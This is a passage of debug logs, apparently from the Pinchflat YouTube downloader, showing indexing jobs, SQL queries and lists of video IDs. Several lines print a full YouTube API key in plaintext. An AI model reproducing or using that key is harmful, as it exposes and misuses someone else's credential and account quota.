"IBk-Nh0VRy0", "IclNtwcicpc", "emMmkd-o2-o", "o3CQZ4JmTU8", "p6Q9chqIwyg", "0voL1hfm3e4", "HCQGhsHO1nM", "6xs7fjbo2NM", "yCdY2eeT8fQ", "faSZB8yewoU", "otxMmPttGp4", "7pysYXsQ8Ps", "QJtdNwlYFDM", "iBclMIJgm7k", "UI4lFdFfOFI", "apGupfbctgs", "qhRfchtbX-0", "73Vhinj4iEI", "M6o0F4zC8Ps", "NrQ0BAnY8sk", "y7WdMKmMR5Y", "J0z4YoAcmKI", "6eSG5JLP0-g", "AvswAhGn_PU", "4FFIce1pjH0", "yOM58cUfPhs", "gTT34dgyJfA", "hZJe5fqUbQA", "RNGpdA2TR1M", "PmIe2ZOPcA0", "zImBY_tGMIU", "1VUhrRFTY_0", "QJDpwY5MGjs", "xYFjwbtJs7U", ...] 16:57:10.278 [debug] QUERY OK source="media_items" db=0.2ms idle=121.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [24] 16:57:10.279 [debug] QUERY OK source="tasks" db=0.1ms idle=116.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800097, 24, ~U[2026-02-10 22:57:10Z], ~U[2026-02-10 22:57:10Z]] 16:57:10.279 [info] {"args":{"id":24},"id":3800057,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":346544,"event":"job:stop","queue_time":476853,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:10.934 [info] {"args":{"id":26},"id":3800058,"meta":{},"system_time":1770764230934820660,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:10.935 [debug] QUERY OK source="sources" db=0.3ms idle=655.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [26] 16:57:10.935 [debug] QUERY OK source="settings" db=0.1ms idle=655.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:10.935 [debug] QUERY OK source="media_profiles" db=0.0ms idle=650.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:57:10.935 [debug] QUERY OK source="settings" db=0.1ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:10.936 [debug] Fetching recent media IDs from YouTube API for playlist: UUK_8UoKJNYcQE9OdW5v-Ueg 16:57:10.936 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:10.936 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:57:11.118 [debug] QUERY OK source="media_items" db=0.5ms idle=182.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [26, "VdWHQYgG_jo", "6LzK3lEKkGE", "JJ_mw6lB3JU", "ZcmJFcMBm9w", "dlFQrYB5wKw", "nPbCi4t4NkA", "8asBU46CygQ", "yQArIsKTw5U", "1x2IhzNuxm4", "nxjWJIgvoOQ", "nlgL1IJXtoU", "lxxWezu1R48", "cQAPX3Qmbbw", "Qx4mqyQgZRE", "A8UXgQagHGE", "-XokzL0OQu0", "1hNouH7bBf4", "qZKBr-uzWXE", "tCG0_ctAGuw", "dJpTLJa07R0", "06xaEhog2jc", "xCly46rmt_E", "fgvCSP_Uieo", "Y-Glc4AfUu8", "WhrVgN8MHvE", "wdeJMY-yjxY", "ewCRfp9isyQ", "TC69Hts9xUw", "QD10PkEFM8w", "EDTL7eqicgk", "TN9ynzCtxH0", "PIm8vxiuo80", "d5wK7sqUPME", "g52_h5ba7AI", "eCXvteo9yPM", "LffHwB95-nc", "d5EbHE-E_30", "ISfcCtkM9Eg", "waruccu-7dk", "rp5VlotPNVY", "rfDYEpo49MM", "u7g9F323AaU", "oLw4zWP1x5g", "WWUoR1s8tqY", "1yRMUHRkPmg", "8o1haKR8l3U", "10e4_tNBP6M", "vnnhy_10FBA", "GQrTQ862rvU", ...] 16:57:11.119 [debug] QUERY OK source="media_items" db=0.5ms idle=183.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [26] 16:57:11.120 [debug] QUERY OK source="tasks" db=0.1ms idle=184.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800098, 26, ~U[2026-02-10 22:57:11Z], ~U[2026-02-10 22:57:11Z]] 16:57:11.120 [info] {"args":{"id":26},"id":3800058,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":185814,"event":"job:stop","queue_time":569097,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:11.936 [info] {"args":{"id":18},"id":3800059,"meta":{},"system_time":1770764231936735692,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:11.936 [info] {"args":{"id":39},"id":3800060,"meta":{},"system_time":1770764231936769307,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:11.937 [debug] QUERY OK source="sources" db=0.1ms idle=816.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [18] 16:57:11.937 [debug] QUERY OK source="sources" db=0.1ms idle=816.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [39] 16:57:11.937 [debug] QUERY OK source="settings" db=0.1ms idle=810.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:11.937 [debug] QUERY OK source="settings" db=0.1ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:11.937 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:57:11.937 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:57:11.937 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:11.937 [debug] Fetching recent media IDs from YouTube API for playlist: UUQ5w3fSomzziZfO7neK7eAg 16:57:11.937 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:11.937 [debug] Fetching recent media IDs from YouTube API for playlist: UUEbFX3P9ADiJvle5Z0Qyw2A 16:57:11.937 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:11.937 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:57:11.938 [debug] QUERY OK source="settings" db=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:11.938 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:57:12.177 [debug] QUERY OK source="media_items" db=0.6ms idle=238.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [18, "rftUQzr5MNY", "pXjsYsJR8eU", "prJa6chyjqQ", "e8MxxudBYHk", "a_0XQWA15FI", "jTWFMDJ7DrI", "6U5VizZp2mM", "6CmauK9WXDI", "wgXSw9BpnpU", "i07HAgTz45c", "xM9S3yBulYw", "4Bm5-NIl_RA", "HthaE0RZOck", "kHXxl9yqdbE", "D4ozSz8ab_E", "JvrGuAU-eQ4", "4Nr6hiHbgAw", "EKRoREgXcaQ", "mzTwPwIQENg", "fc3rJ0sJsbI", "j5J9rO_2xsY", "dMCQgYjSoSw", "itGzr7HZl9I", "-anIMIYnyjc", "kPGIGgFI3_E", "5q_lWJSquoc", "Pukp9nKozE8", "sPDYpIlReGY", "LEyq9a84wuU", "ez1buVmEKLU", "Zy_i-7hOQ_c", "yipidSya0Gc", "XiHlv0w2zMo", "cYIiWIJ07co", "_uh9kNqfJzY", "IaadHU9ku_k", "qqcbiTuW6dw", "rsIwHYDhr8M", "5o-L5_zpUc4", "6WiVRluXP80", "qGc2FEC3Htw", "q2pmhQoEGIw", "1J4rDpbqXG8", "9H-9_FLOs7w", "84Bep8MqnRs", "tJvqC1EhOrY", "Rlec9tt_xDA", "PRVOTbvtqwE", "gN7dibXWGlM", ...] 16:57:12.178 [debug] QUERY OK source="media_items" db=0.7ms idle=240.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [18] 16:57:12.179 [debug] QUERY OK source="tasks" db=0.1ms idle=241.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800099, 18, ~U[2026-02-10 22:57:12Z], ~U[2026-02-10 22:57:12Z]] 16:57:12.179 [info] {"args":{"id":18},"id":3800059,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":242633,"event":"job:stop","queue_time":511875,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:12.185 [info] {"args":{"id":3},"id":3800061,"meta":{},"system_time":1770764232185731663,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:12.186 [debug] QUERY OK source="sources" db=0.2ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:57:12.186 [debug] QUERY OK source="settings" db=0.1ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:12.186 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:57:12.186 [debug] QUERY OK source="settings" db=0.0ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:12.186 [debug] Fetching recent media IDs from YouTube API for playlist: UUy0tKL1T7wFoYcxCe0xjN6Q 16:57:12.186 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:12.186 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:57:12.311 [debug] QUERY OK source="media_items" db=0.7ms idle=124.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [39, "oWwW7c73VEU", "Mlkedoq9Jc0", "CyROrlgXuxM", "DNFVUUSirec", "CBm031TNOBI", "pqsDSom58mA", "K4l-Iq7cUy0", "G5FmHkhNll0", "jcXhbGr4UXE", "CHXnJ2dqdeQ", "6mMkOOd85iY", "BzzBe1O4Sr0", "jpaUrDMW-xg", "CQhT2bZk-5w", "16WDLl-9svE", "0sw-9LcNYuU", "Gb2WMmJdg-0", "6IvRdRMfckI", "uK7duSgRTg4", "a5MZNJQdWMs", "0aIc4DK4KJU", "qoqprEJXUho", "Q31kdjWuJk0", "Oi3cII72g_Q", "EWUx-l6V8LY", "3ltZPDlAzjU", "0Y4qlkciOcs", "_EXBwKthvpU", "Wh33yQMl1E4", "Zmm4cH8rdbo", "udwdvn4CkUM", "gVmYPFscC9s", "siDrI-MD-LA", "xoqZcColJJQ", "_g7eG4Ax5RE", "tTnZ7eisAJI", "6Pxhj3El-5w", "YEcpFV6RELU", "x2L4YTdsD2o", "qIZd11xXCfQ", "Qkmowfr8czQ", "t86uzOhx8sw", "dhct918lLaM", "-3cN37P8DME", "aMBWoX-RTlU", "cFPi6Ya4QPE", "CzGfMeo8Toc", "qXaUPK6ZLpc", "18QTNVOpQ54", ...] 16:57:12.312 [debug] QUERY OK source="media_items" db=0.3ms idle=125.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [39] 16:57:12.313 [debug] QUERY OK source="tasks" db=0.1ms idle=126.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800100, 39, ~U[2026-02-10 22:57:12Z], ~U[2026-02-10 22:57:12Z]] 16:57:12.313 [info] {"args":{"id":39},"id":3800060,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":376365,"event":"job:stop","queue_time":354190,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:12.405 [debug] QUERY OK source="media_items" db=0.6ms idle=91.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "KtQ9nt2ZeGM", "tCVsyY5TRQI", "oy7BrKNmZAQ", "INZybkX8tLI", "8I4Jc-WLsrs", "DAX2_mPr9W8", "ms8uu0zeU88", "Aytf6ARcs8s", "JzClLWL-Eys", "HFYWHeBhYbM", "SaKKzZRrPIg", "W96a8svXo14", "OSCOQ6vnLwU", "j_QfX0SYCE8", "OOK5xkFijPc", 